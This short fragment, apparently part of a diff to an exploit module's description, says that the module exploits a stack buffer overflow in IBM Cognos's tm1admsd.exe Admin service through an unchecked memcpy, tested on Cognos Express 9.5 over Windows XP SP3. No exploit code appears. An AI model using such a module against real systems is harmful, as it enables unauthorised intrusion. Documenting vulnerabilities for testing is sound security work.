+					This module exploits a stack buffer overflow in IBM Cognos Analytic Server
+				Admin service. The vulnerability exists in the tm1admsd.exe component, due to a
+				dangerous copy of user controlled data to the stack, via memcpy, without validating
+				the supplied length and data. The module has been tested successfully on IBM Cognos
+				Express 9.5 over Windows XP SP3.
